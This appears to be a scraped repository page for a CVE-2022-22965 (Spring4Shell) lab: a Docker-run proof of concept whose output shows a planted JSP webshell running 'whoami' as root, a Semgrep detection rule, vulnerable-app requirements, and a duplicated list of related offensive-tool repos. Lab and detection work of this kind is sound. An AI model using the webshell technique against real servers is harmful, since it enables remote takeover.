CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

PwdGen is a Python Tkinter tool for generating secure 16 digit passwords.

Microsoft Exchange Server SSRF漏洞(CVE-2021-26855)

Yesitsme - Simple OSINT script to find Instagram profiles by name and e-mail/phone

In this program, I generate the strong password from existing password without class using python. The special thing in this program is that is generate very strong password from our existing password. It replaces some elements from password and put another elements in it.

A Docker based LDAP RCE exploit demo for CVE-2021-44228 Log4Shell

Tools for investigating Log4j CVE-2021-44228

Official implementation of the paper "Backdoor Attacks on Self-Supervised Learning".

Sentinel-1 SAR time series analysis for OSINT use

SubFind - Subdomain Finder Tools

PyFUD - Fully Undetectable payload generator for metasploit

SPV SecurePasswordVerification

Python APK Reverser & Patcher Tool

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.

Fuzz introspector is a tool to help fuzzer developers to get an understanding of their fuzzer’s performance and identify any potential blockers.

Attack SQL Server through gopher protocol

Obfuscate ip address using different encodings

Simple and easy framework for phishing 🎣

Solución al reto BBVA Contigo, Hack BBVA 2021

A Python r2pipe script to automatically create a Frida hook to intercept TLS traffic for Flutter based apps

Strapi Framework Vulnerable to Remote Code Execution

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

PwdGen is a Python Tkinter tool for generating secure 16 digit passwords.

Microsoft Exchange Server SSRF漏洞(CVE-2021-26855)

Yesitsme - Simple OSINT script to find Instagram profiles by name and e-mail/phone

In this program, I generate the strong password from existing password without class using python. The special thing in this program is that is generate very strong password from our existing password. It replaces some elements from password and put another elements in it.

A Docker based LDAP RCE exploit demo for CVE-2021-44228 Log4Shell

Tools for investigating Log4j CVE-2021-44228

Official implementation of the paper "Backdoor Attacks on Self-Supervised Learning".

Sentinel-1 SAR time series analysis for OSINT use

SubFind - Subdomain Finder Tools

PyFUD - Fully Undetectable payload generator for metasploit

SPV SecurePasswordVerification

Python APK Reverser & Patcher Tool

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.

Fuzz introspector is a tool to help fuzzer developers to get an understanding of their fuzzer’s performance and identify any potential blockers.

Attack SQL Server through gopher protocol

Obfuscate ip address using different encodings

Simple and easy framework for phishing 🎣

Solución al reto BBVA Contigo, Hack BBVA 2021

A Python r2pipe script to automatically create a Frida hook to intercept TLS traffic for Flutter based apps

Strapi Framework Vulnerable to Remote Code Execution

Vulnerable app requirements¹